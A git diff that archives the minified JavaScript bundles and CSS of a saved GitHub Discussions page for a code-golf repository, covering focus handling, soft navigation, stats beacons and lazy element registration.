h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_m